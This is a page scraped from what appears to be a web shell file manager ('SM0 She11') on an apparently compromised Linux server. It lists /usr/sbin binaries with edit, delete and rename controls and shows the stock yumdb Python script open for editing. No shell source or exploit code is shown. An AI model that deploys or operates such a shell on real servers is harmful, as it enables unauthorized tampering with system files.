SM0 She11
Path:
/
/
usr
/
sbin
Full Path (server): /usr/sbin
Create Fil3
Upl04d Fil3
📄 accessdb
[E]
[D]
[R]
📄 addgnupghome
[E]
[D]
[R]
📄 addpart
[E]
[D]
[R]
📄 adduser
[E]
[D]
[R]
📄 agetty
[E]
[D]
[R]
📄 alternatives
[E]
[D]
[R]
📄 amavisd
[E]
[D]
[R]
📄 anacron
[E]
[D]
[R]
📄 applygnupgdefaults
[E]
[D]
[R]
📄 arp
[E]
[D]
[R]
📄 arpd
[E]
[D]
[R]
📄 arping
[E]
[D]
[R]
📄 atd
[E]
[D]
[R]
📄 atrun
[E]
[D]
[R]
📄 audispd
[E]
[D]
[R]
📄 auditctl
[E]
[D]
[R]
📄 auditd
[E]
[D]
[R]
📄 augenrules
[E]
[D]
[R]
📄 aureport
[E]
[D]
[R]
📄 ausearch
[E]
[D]
[R]
📄 authconfig
[E]
[D]
[R]
📄 authconfig-tui
[E]
[D]
[R]
📄 autrace
[E]
[D]
[R]
📄 avcstat
[E]
[D]
[R]
📄 badblocks
[E]
[D]
[R]
📄 biosdecode
[E]
[D]
[R]
📄 blkdeactivate
[E]
[D]
[R]
📄 blkdiscard
[E]
[D]
[R]
📄 blkid
[E]
[D]
[R]
📄 blockdev
[E]
[D]
[R]
📄 bridge
[E]
[D]
[R]
📄 btrfs
[E]
[D]
[R]
📄 btrfs-convert
[E]
[D]
[R]
📄 btrfs-debug-tree
[E]
[D]
[R]
📄 btrfs-find-root
[E]
[D]
[R]
📄 btrfs-image
[E]
[D]
[R]
📄 btrfs-map-logical
[E]
[D]
[R]
📄 btrfs-select-super
[E]
[D]
[R]
📄 btrfs-zero-log
[E]
[D]
[R]
📄 btrfsck
[E]
[D]
[R]
📄 btrfstune
[E]
[D]
[R]
📄 build-locale-archive
[E]
[D]
[R]
📄 cacertdir_rehash
[E]
[D]
[R]
📄 capsh
[E]
[D]
[R]
📄 cbq
[E]
[D]
[R]
📄 cfdisk
[E]
[D]
[R]
📄 chcpu
[E]
[D]
[R]
📄 chgpasswd
[E]
[D]
[R]
📄 chkconfig
[E]
[D]
[R]
📄 chpasswd
[E]
[D]
[R]
📄 chronyd
[E]
[D]
[R]
📄 chroot
[E]
[D]
[R]
📄 clamd
[E]
[D]
[R]
📄 clamonacc
[E]
[D]
[R]
📄 clock
[E]
[D]
[R]
📄 clockdiff
[E]
[D]
[R]
📄 consoletype
[E]
[D]
[R]
📄 convertquota
[E]
[D]
[R]
📄 cracklib-check
[E]
[D]
[R]
📄 cracklib-format
[E]
[D]
[R]
📄 cracklib-packer
[E]
[D]
[R]
📄 cracklib-unpacker
[E]
[D]
[R]
📄 create-cracklib-dict
[E]
[D]
[R]
📄 crond
[E]
[D]
[R]
📄 csf
[E]
[D]
[R]
📄 ctrlaltdel
[E]
[D]
[R]
📄 ctstat
[E]
[D]
[R]
📄 ddns-confgen
[E]
[D]
[R]
📄 debugfs
[E]
[D]
[R]
📄 delpart
[E]
[D]
[R]
📄 depmod
[E]
[D]
[R]
📄 devlink
[E]
[D]
[R]
📄 dhclient
[E]
[D]
[R]
📄 dhclient-script
[E]
[D]
[R]
📄 dmfilemapd
[E]
[D]
[R]
📄 dmidecode
[E]
[D]
[R]
📄 dmsetup
[E]
[D]
[R]
📄 dmstats
[E]
[D]
[R]
📄 dnssec-checkds
[E]
[D]
[R]
📄 dnssec-coverage
[E]
[D]
[R]
📄 dnssec-dsfromkey
[E]
[D]
[R]
📄 dnssec-importkey
[E]
[D]
[R]
📄 dnssec-keyfromlabel
[E]
[D]
[R]
📄 dnssec-keygen
[E]
[D]
[R]
📄 dnssec-keymgr
[E]
[D]
[R]
📄 dnssec-revoke
[E]
[D]
[R]
📄 dnssec-settime
[E]
[D]
[R]
📄 dnssec-signzone
[E]
[D]
[R]
📄 dnssec-verify
[E]
[D]
[R]
📄 dovecot
[E]
[D]
[R]
📄 dracut
[E]
[D]
[R]
📄 dumpe2fs
[E]
[D]
[R]
📄 e2freefrag
[E]
[D]
[R]
📄 e2fsck
[E]
[D]
[R]
📄 e2image
[E]
[D]
[R]
📄 e2label
[E]
[D]
[R]
📄 e2undo
[E]
[D]
[R]
📄 e4defrag
[E]
[D]
[R]
📄 eapol_test
[E]
[D]
[R]
📄 edquota
[E]
[D]
[R]
📄 ether-wake
[E]
[D]
[R]
📄 ethtool
[E]
[D]
[R]
📄 faillock
[E]
[D]
[R]
📄 fdformat
[E]
[D]
[R]
📄 fdisk
[E]
[D]
[R]
📄 filefrag
[E]
[D]
[R]
📄 findfs
[E]
[D]
[R]
📄 fixfiles
[E]
[D]
[R]
📄 fsck
[E]
[D]
[R]
📄 fsck.btrfs
[E]
[D]
[R]
📄 fsck.cramfs
[E]
[D]
[R]
📄 fsck.ext2
[E]
[D]
[R]
📄 fsck.ext3
[E]
[D]
[R]
📄 fsck.ext4
[E]
[D]
[R]
📄 fsck.minix
[E]
[D]
[R]
📄 fsck.xfs
[E]
[D]
[R]
📄 fsfreeze
[E]
[D]
[R]
📄 fstrim
[E]
[D]
[R]
📄 fuser
[E]
[D]
[R]
📄 genccode
[E]
[D]
[R]
📄 gencmn
[E]
[D]
[R]
📄 genhomedircon
[E]
[D]
[R]
📄 genhostid
[E]
[D]
[R]
📄 genl
[E]
[D]
[R]
📄 genl-ctrl-list
[E]
[D]
[R]
📄 gennorm2
[E]
[D]
[R]
📄 genrandom
[E]
[D]
[R]
📄 gensprep
[E]
[D]
[R]
📄 getcap
[E]
[D]
[R]
📄 getenforce
[E]
[D]
[R]
📄 getpcaps
[E]
[D]
[R]
📄 getsebool
[E]
[D]
[R]
📄 glibc_post_upgrade.x86_64
[E]
[D]
[R]
📄 groupadd
[E]
[D]
[R]
📄 groupdel
[E]
[D]
[R]
📄 groupmems
[E]
[D]
[R]
📄 groupmod
[E]
[D]
[R]
📄 grpck
[E]
[D]
[R]
📄 grpconv
[E]
[D]
[R]
📄 grpunconv
[E]
[D]
[R]
📄 grub2-bios-setup
[E]
[D]
[R]
📄 grub2-get-kernel-settings
[E]
[D]
[R]
📄 grub2-install
[E]
[D]
[R]
📄 grub2-macbless
[E]
[D]
[R]
📄 grub2-mkconfig
[E]
[D]
[R]
📄 grub2-ofpathname
[E]
[D]
[R]
📄 grub2-probe
[E]
[D]
[R]
📄 grub2-reboot
[E]
[D]
[R]
📄 grub2-rpm-sort
[E]
[D]
[R]
📄 grub2-set-default
[E]
[D]
[R]
📄 grub2-setpassword
[E]
[D]
[R]
📄 grub2-sparc64-setup
[E]
[D]
[R]
📄 grubby
[E]
[D]
[R]
📄 gss-server
[E]
[D]
[R]
📄 halt
[E]
[D]
[R]
📄 hardlink
[E]
[D]
[R]
📄 hwclock
[E]
[D]
[R]
📄 iconvconfig
[E]
[D]
[R]
📄 iconvconfig.x86_64
[E]
[D]
[R]
📄 icupkg
[E]
[D]
[R]
📄 ifcfg
[E]
[D]
[R]
📄 ifconfig
[E]
[D]
[R]
📄 ifdown
[E]
[D]
[R]
📄 ifenslave
[E]
[D]
[R]
📄 ifstat
[E]
[D]
[R]
📄 ifup
[E]
[D]
[R]
📄 init
[E]
[D]
[R]
📄 insmod
[E]
[D]
[R]
📄 install-info
[E]
[D]
[R]
📄 installkernel
[E]
[D]
[R]
📄 intel-microcode2ucode
[E]
[D]
[R]
📄 ip
[E]
[D]
[R]
📄 ip6tables
[E]
[D]
[R]
📄 ip6tables-restore
[E]
[D]
[R]
📄 ip6tables-save
[E]
[D]
[R]
📄 ipmaddr
[E]
[D]
[R]
📄 iptables
[E]
[D]
[R]
📄 iptables-restore
[E]
[D]
[R]
📄 iptables-save
[E]
[D]
[R]
📄 iptunnel
[E]
[D]
[R]
📄 irqbalance
[E]
[D]
[R]
📄 isc-hmac-fixup
[E]
[D]
[R]
📄 kexec
[E]
[D]
[R]
📄 killall5
[E]
[D]
[R]
📄 kpartx
[E]
[D]
[R]
📄 lchage
[E]
[D]
[R]
📄 ldattach
[E]
[D]
[R]
📄 ldconfig
[E]
[D]
[R]
📄 lfd
[E]
[D]
[R]
📄 lgroupadd
[E]
[D]
[R]
📄 lgroupdel
[E]
[D]
[R]
📄 lgroupmod
[E]
[D]
[R]
📄 lid
[E]
[D]
[R]
📄 lnewusers
[E]
[D]
[R]
📄 lnstat
[E]
[D]
[R]
📄 load_policy
[E]
[D]
[R]
📄 logrotate
[E]
[D]
[R]
📄 logsave
[E]
[D]
[R]
📄 losetup
[E]
[D]
[R]
📄 lpasswd
[E]
[D]
[R]
📄 lsmod
[E]
[D]
[R]
📄 lsof
[E]
[D]
[R]
📄 luseradd
[E]
[D]
[R]
📄 luserdel
[E]
[D]
[R]
📄 lusermod
[E]
[D]
[R]
📄 lwresd
[E]
[D]
[R]
📄 makedumpfile
[E]
[D]
[R]
📄 matchpathcon
[E]
[D]
[R]
📄 mii-diag
[E]
[D]
[R]
📄 mii-tool
[E]
[D]
[R]
📄 mkdict
[E]
[D]
[R]
📄 mkdumprd
[E]
[D]
[R]
📄 mke2fs
[E]
[D]
[R]
📄 mkfs
[E]
[D]
[R]
📄 mkfs.btrfs
[E]
[D]
[R]
📄 mkfs.cramfs
[E]
[D]
[R]
📄 mkfs.ext2
[E]
[D]
[R]
📄 mkfs.ext3
[E]
[D]
[R]
📄 mkfs.ext4
[E]
[D]
[R]
📄 mkfs.minix
[E]
[D]
[R]
📄 mkfs.xfs
[E]
[D]
[R]
📄 mkhomedir_helper
[E]
[D]
[R]
📄 mklost+found
[E]
[D]
[R]
📄 mkswap
[E]
[D]
[R]
📄 modinfo
[E]
[D]
[R]
📄 modprobe
[E]
[D]
[R]
📄 mysqld
[E]
[D]
[R]
📄 named
[E]
[D]
[R]
📄 named-checkconf
[E]
[D]
[R]
📄 named-checkzone
[E]
[D]
[R]
📄 named-compilezone
[E]
[D]
[R]
📄 named-journalprint
[E]
[D]
[R]
📄 nameif
[E]
[D]
[R]
📄 netreport
[E]
[D]
[R]
📄 new-kernel-pkg
[E]
[D]
[R]
📄 newusers
[E]
[D]
[R]
📄 nl-class-add
[E]
[D]
[R]
📄 nl-class-delete
[E]
[D]
[R]
📄 nl-class-list
[E]
[D]
[R]
📄 nl-classid-lookup
[E]
[D]
[R]
📄 nl-cls-add
[E]
[D]
[R]
📄 nl-cls-delete
[E]
[D]
[R]
📄 nl-cls-list
[E]
[D]
[R]
📄 nl-link-list
[E]
[D]
[R]
📄 nl-pktloc-lookup
[E]
[D]
[R]
📄 nl-qdisc-add
[E]
[D]
[R]
📄 nl-qdisc-delete
[E]
[D]
[R]
📄 nl-qdisc-list
[E]
[D]
[R]
📄 nologin
[E]
[D]
[R]
📄 nsec3hash
[E]
[D]
[R]
📄 nstat
[E]
[D]
[R]
📄 ownership
[E]
[D]
[R]
📄 packer
[E]
[D]
[R]
📄 pam_console_apply
[E]
[D]
[R]
📄 pam_tally2
[E]
[D]
[R]
📄 pam_timestamp_check
[E]
[D]
[R]
📄 paperconfig
[E]
[D]
[R]
📄 parted
[E]
[D]
[R]
📄 partprobe
[E]
[D]
[R]
📄 partx
[E]
[D]
[R]
📄 pflogsumm
[E]
[D]
[R]
📄 pidof
[E]
[D]
[R]
📄 ping6
[E]
[D]
[R]
📄 pivot_root
[E]
[D]
[R]
📄 plipconfig
[E]
[D]
[R]
📄 pluginviewer
[E]
[D]
[R]
📄 portrelease
[E]
[D]
[R]
📄 portreserve
[E]
[D]
[R]
📄 postalias
[E]
[D]
[R]
📄 postcat
[E]
[D]
[R]
📄 postconf
[E]
[D]
[R]
📄 postdrop
[E]
[D]
[R]
📄 postfix
[E]
[D]
[R]
📄 postkick
[E]
[D]
[R]
📄 postlock
[E]
[D]
[R]
📄 postlog
[E]
[D]
[R]
📄 postmap
[E]
[D]
[R]
📄 postmulti
[E]
[D]
[R]
📄 postqueue
[E]
[D]
[R]
📄 postsuper
[E]
[D]
[R]
📄 poweroff
[E]
[D]
[R]
📄 ppp-watch
[E]
[D]
[R]
📄 pure-authd
[E]
[D]
[R]
📄 pure-config.pl
[E]
[D]
[R]
📄 pure-config.py
[E]
[D]
[R]
📄 pure-ftpd
[E]
[D]
[R]
📄 pure-ftpwho
[E]
[D]
[R]
📄 pure-mrtginfo
[E]
[D]
[R]
📄 pure-quotacheck
[E]
[D]
[R]
📄 pure-uploadscript
[E]
[D]
[R]
📄 pwck
[E]
[D]
[R]
📄 pwconv
[E]
[D]
[R]
📄 pwhistory_helper
[E]
[D]
[R]
📄 pwunconv
[E]
[D]
[R]
📄 qshape
[E]
[D]
[R]
📄 quot
[E]
[D]
[R]
📄 quotacheck
[E]
[D]
[R]
📄 quotaoff
[E]
[D]
[R]
📄 quotaon
[E]
[D]
[R]
📄 quotastats
[E]
[D]
[R]
📄 rcmysql
[E]
[D]
[R]
📄 rdisc
[E]
[D]
[R]
📄 rdma
[E]
[D]
[R]
📄 readprofile
[E]
[D]
[R]
📄 reboot
[E]
[D]
[R]
📄 repquota
[E]
[D]
[R]
📄 resize2fs
[E]
[D]
[R]
📄 resizepart
[E]
[D]
[R]
📄 restorecon
[E]
[D]
[R]
📄 rmmod
[E]
[D]
[R]
📄 rndc
[E]
[D]
[R]
📄 rndc-confgen
[E]
[D]
[R]
📄 route
[E]
[D]
[R]
📄 routef
[E]
[D]
[R]
📄 routel
[E]
[D]
[R]
📄 rpc.rquotad
[E]
[D]
[R]
📄 rpcbind
[E]
[D]
[R]
📄 rpcinfo
[E]
[D]
[R]
📄 rsyslogd
[E]
[D]
[R]
📄 rtacct
[E]
[D]
[R]
📄 rtcwake
[E]
[D]
[R]
📄 rtmon
[E]
[D]
[R]
📄 rtpr
[E]
[D]
[R]
📄 rtstat
[E]
[D]
[R]
📄 runlevel
[E]
[D]
[R]
📄 runuser
[E]
[D]
[R]
📄 safe_finger
[E]
[D]
[R]
📄 sasl2-shared-mechlist
[E]
[D]
[R]
📄 saslauthd
[E]
[D]
[R]
📄 sasldblistusers2
[E]
[D]
[R]
📄 saslpasswd2
[E]
[D]
[R]
📄 sefcontext_compile
[E]
[D]
[R]
📄 selabel_digest
[E]
[D]
[R]
📄 selabel_lookup
[E]
[D]
[R]
📄 selabel_lookup_best_match
[E]
[D]
[R]
📄 selabel_partial_match
[E]
[D]
[R]
📄 selinux_restorecon
[E]
[D]
[R]
📄 selinuxconlist
[E]
[D]
[R]
📄 selinuxdefcon
[E]
[D]
[R]
📄 selinuxenabled
[E]
[D]
[R]
📄 selinuxexeccon
[E]
[D]
[R]
📄 semanage
[E]
[D]
[R]
📄 semodule
[E]
[D]
[R]
📄 sendmail
[E]
[D]
[R]
📄 sendmail.postfix
[E]
[D]
[R]
📄 service
[E]
[D]
[R]
📄 sestatus
[E]
[D]
[R]
📄 setcap
[E]
[D]
[R]
📄 setenforce
[E]
[D]
[R]
📄 setfiles
[E]
[D]
[R]
📄 setquota
[E]
[D]
[R]
📄 setsebool
[E]
[D]
[R]
📄 sfdisk
[E]
[D]
[R]
📄 shutdown
[E]
[D]
[R]
📄 sim_server
[E]
[D]
[R]
📄 slattach
[E]
[D]
[R]
📄 sln
[E]
[D]
[R]
📄 smtp-sink
[E]
[D]
[R]
📄 smtp-source
[E]
[D]
[R]
📄 snmpd
[E]
[D]
[R]
📄 snmptrapd
[E]
[D]
[R]
📄 ss
[E]
[D]
[R]
📄 sshd
[E]
[D]
[R]
📄 sshd-keygen
[E]
[D]
[R]
📄 sulogin
[E]
[D]
[R]
📄 sushell
[E]
[D]
[R]
📄 swaplabel
[E]
[D]
[R]
📄 swapoff
[E]
[D]
[R]
📄 swapon
[E]
[D]
[R]
📄 switch_root
[E]
[D]
[R]
📄 sys-unconfig
[E]
[D]
[R]
📄 sysctl
[E]
[D]
[R]
📄 tc
[E]
[D]
[R]
📄 tcpd
[E]
[D]
[R]
📄 tcpdmatch
[E]
[D]
[R]
📄 tcsd
[E]
[D]
[R]
📄 telinit
[E]
[D]
[R]
📄 testsaslauthd
[E]
[D]
[R]
📄 tmpwatch
[E]
[D]
[R]
📄 tracepath
[E]
[D]
[R]
📄 tracepath6
[E]
[D]
[R]
📄 try-from
[E]
[D]
[R]
📄 tsig-keygen
[E]
[D]
[R]
📄 tune2fs
[E]
[D]
[R]
📄 tuned
[E]
[D]
[R]
📄 tuned-adm
[E]
[D]
[R]
📄 udevadm
[E]
[D]
[R]
📄 unix_chkpwd
[E]
[D]
[R]
📄 unix_update
[E]
[D]
[R]
📄 update-alternatives
[E]
[D]
[R]
📄 useradd
[E]
[D]
[R]
📄 userdel
[E]
[D]
[R]
📄 userhelper
[E]
[D]
[R]
📄 usermod
[E]
[D]
[R]
📄 usernetctl
[E]
[D]
[R]
📄 uuserver
[E]
[D]
[R]
📄 vigr
[E]
[D]
[R]
📄 vipw
[E]
[D]
[R]
📄 virt-what
[E]
[D]
[R]
📄 visudo
[E]
[D]
[R]
📄 vmcore-dmesg
[E]
[D]
[R]
📄 vpddecode
[E]
[D]
[R]
📄 weak-modules
[E]
[D]
[R]
📄 wipefs
[E]
[D]
[R]
📄 wpa_cli
[E]
[D]
[R]
📄 wpa_passphrase
[E]
[D]
[R]
📄 wpa_supplicant
[E]
[D]
[R]
📄 xfs_admin
[E]
[D]
[R]
📄 xfs_bmap
[E]
[D]
[R]
📄 xfs_copy
[E]
[D]
[R]
📄 xfs_db
[E]
[D]
[R]
📄 xfs_estimate
[E]
[D]
[R]
📄 xfs_freeze
[E]
[D]
[R]
📄 xfs_fsr
[E]
[D]
[R]
📄 xfs_growfs
[E]
[D]
[R]
📄 xfs_info
[E]
[D]
[R]
📄 xfs_io
[E]
[D]
[R]
📄 xfs_logprint
[E]
[D]
[R]
📄 xfs_mdrestore
[E]
[D]
[R]
📄 xfs_metadump
[E]
[D]
[R]
📄 xfs_mkfile
[E]
[D]
[R]
📄 xfs_ncheck
[E]
[D]
[R]
📄 xfs_quota
[E]
[D]
[R]
📄 xfs_repair
[E]
[D]
[R]
📄 xfs_rtcp
[E]
[D]
[R]
📄 xqmstats
[E]
[D]
[R]
📄 xtables-multi
[E]
[D]
[R]
📄 yum-complete-transaction
[E]
[D]
[R]
📄 yumdb
[E]
[D]
[R]
📄 zdump
[E]
[D]
[R]
📄 zic
[E]
[D]
[R]
📄 zramctl
[E]
[D]
[R]
Editing: yumdb
#!/usr/bin/python -tt import sys import optparse import fnmatch import yum import shlex import os import glob parser = None # FIXME: Internal knowledge def _load_all_package_paths(db_path): # glob the path and get a dict of pkgs to their subdir glb = '%s/*/*/' % db_path pkgdirs = glob.glob(glb) _packages = {} for d in pkgdirs: if d[-1] == '/': d = d[:-1] pkgid = os.path.basename(d).split('-')[0] _packages[pkgid] = d return _packages def setup_opts(): version = "0.0.1" vers_txt = "Manage yum groups metadata version %s" % version usage_txt = """\ %prog <command> ... get <key> [pkg-wildcard]... set <key> <value> [pkg-wildcard]... del <key> [pkg-wildcard]... rename <key> <key> [pkg-wildcard]... rename-force <key> <key> [pkg-wildcard]... copy <key> <key> [pkg-wildcard]... search <key> <wildcard>... exist? <key> [pkg-wildcard]... unset? <key> [pkg-wildcard]... info [pkg-wildcard]... sync [pkg-wildcard]... undeleted shell [filename]... """ parser = optparse.OptionParser(usage = usage_txt, version = vers_txt) parser.add_option("--noplugins", action="store_false", default=True, dest="plugins", help="disable yum plugin support") parser.add_option("-c", "--config", dest="conffile", help="config file location") return parser def run_cmd(yb, args, inshell=False): if False: pass elif args[0] == 'get' and len(args) > 1: args.pop(0) ykey = args.pop(0) for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): print pkg if ykey in pkg.yumdb_info: print " " * 4, ykey, '=', getattr(pkg.yumdb_info, ykey) else: print " " * 4, ykey, '<unset>' elif args[0] == 'set' and len(args) > 2: args.pop(0) ykey = args.pop(0) yval = args.pop(0) for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): setattr(pkg.yumdb_info, ykey, yval) print pkg print " " * 4, ykey, '=', getattr(pkg.yumdb_info, ykey) elif args[0] in ('copy', 'copy-f', 'copy-force') and len(args) > 2: force = args[0] in ['copy-f', 'copy-force'] args.pop(0) yokey = args.pop(0) ynkey = args.pop(0) for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): print pkg if yokey in pkg.yumdb_info: setattr(pkg.yumdb_info, ynkey, getattr(pkg.yumdb_info, yokey)) print " " * 4, ynkey, '=', getattr(pkg.yumdb_info, ynkey) elif force and ynkey in pkg.yumdb_info: delattr(pkg.yumdb_info, ynkey) print " " * 4, ynkey, '<unset>' elif ynkey in pkg.yumdb_info: print " " * 4, ynkey, '=', getattr(pkg.yumdb_info, ynkey) else: print " " * 4, ynkey, '<unset>' elif args[0] in ['rename', 'rename-f', 'rename-force'] and len(args) > 2: force = args[0] in ['rename-f', 'rename-force'] args.pop(0) yokey = args.pop(0) ynkey = args.pop(0) for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): print pkg if yokey in pkg.yumdb_info: setattr(pkg.yumdb_info, ynkey, getattr(pkg.yumdb_info, yokey)) delattr(pkg.yumdb_info, yokey) print " " * 4, ynkey, '=', getattr(pkg.yumdb_info, ynkey) elif force and ynkey in pkg.yumdb_info: delattr(pkg.yumdb_info, ynkey) print " " * 4, ynkey, '<unset>' elif ynkey in pkg.yumdb_info: print " " * 4, ynkey, '=', getattr(pkg.yumdb_info, ynkey) else: print " " * 4, ynkey, '<unset>' elif args[0] in ['del', 'delete', 'rm', 'remove'] and len(args) > 1: args.pop(0) ykey = args.pop(0) for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): if ykey in pkg.yumdb_info: delattr(pkg.yumdb_info, ykey) print pkg print " " * 4, ykey, '<unset>' elif args[0] in ('search', 'search-q', 'search-quiet') and len(args) > 2: cmd = args.pop(0) ykey = args.pop(0) done = False # Maybe need some API so we don't have to load everything? for pkg in sorted(yb.rpmdb.returnPackages()): if ykey not in pkg.yumdb_info: continue found = False yval = getattr(pkg.yumdb_info, ykey) for arg in args: if fnmatch.fnmatch(yval, arg): found = True break if not found: continue if done and cmd == 'search': print '' done = True print pkg if cmd == 'search': print " " * 4, ykey, '=', yval elif args[0] in ['exist?', 'exist', 'exists'] and len(args) > 1: args.pop(0) ykey = args.pop(0) for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): if ykey not in pkg.yumdb_info: continue print pkg elif args[0] in ['unset?', 'unset'] and len(args) > 1: args.pop(0) ykey = args.pop(0) for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): if ykey in pkg.yumdb_info: continue print pkg elif args[0] == 'info': args.pop(0) done = False for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): if done: print '' done = True print pkg for ykey in sorted(pkg.yumdb_info): print " " * 4, ykey, '=', getattr(pkg.yumdb_info, ykey) elif args[0] in ('sync', 'synchronize', 'sync-f', 'synchronize-f', 'sync-force', 'synchronize-force'): force = args[0] in ('sync-f', 'synchronize-f', 'sync-force', 'synchronize-force') args.pop(0) done = False for pkg in sorted(yb.rpmdb.returnPackages(patterns=args)): apkg = yb.pkgSack.searchPkgTuple(pkg.pkgtup) if not apkg: continue apkg = sorted(apkg)[0] if done: print '' done = True print pkg ndata = {} ndata['releasever'] = yb.conf.yumvar['releasever'] ndata['from_repo'] = apkg.repoid csum = apkg.returnIdSum() if csum is not None: ndata['checksum_type'] = str(csum[0]) ndata['checksum_data'] = str(csum[1]) if hasattr(apkg.repo, 'repoXML'): md = apkg.repo.repoXML if md and md.revision is not None: ndata['from_repo_revision'] = str(md.revision) if md: ndata['from_repo_timestamp'] = str(md.timestamp) loginuid = yum.misc.getloginuid() if loginuid is not None: ndata['changed_by'] = str(loginuid) for ykey in ndata: if not force and hasattr(pkg.yumdb_info, ykey): continue setattr(pkg.yumdb_info, ykey, ndata[ykey]) for ykey in sorted(pkg.yumdb_info): if ykey not in ndata: continue print " " * 4, ykey, '=', getattr(pkg.yumdb_info, ykey) elif args[0] == 'undeleted': yumdb_packages = _load_all_package_paths(yb.rpmdb.yumdb.conf.db_path) for pkg in sorted(yb.rpmdb.returnPackages()): if pkg.pkgid in yumdb_packages: del yumdb_packages[pkg.pkgid] for pkgid in yumdb_packages: print "%s: %s" % (pkgid, yumdb_packages[pkgid]) elif args[0] == 'shell' and not inshell: args.pop(0) if args: fos = [] for arg in args: fos.append(open(arg)) else: fos = [sys.stdin] for fo in fos: print "=" * 79 for line in fo: run_cmd(yb, shlex.split(line), inshell=True) print "-" * 79 else: print >>sys.stderr, parser.format_help() sys.exit(1) def main(): global parser parser = setup_opts() (opts, args) = parser.parse_args() yb = yum.YumBase() if opts.conffile: yb.preconf.fn = opts.conffile if not opts.plugins: yb.preconf.init_plugins = False yb.conf if len(args) < 1: print >>sys.stderr, parser.format_help() sys.exit(1) run_cmd(yb, args) if __name__ == '__main__': main()
Save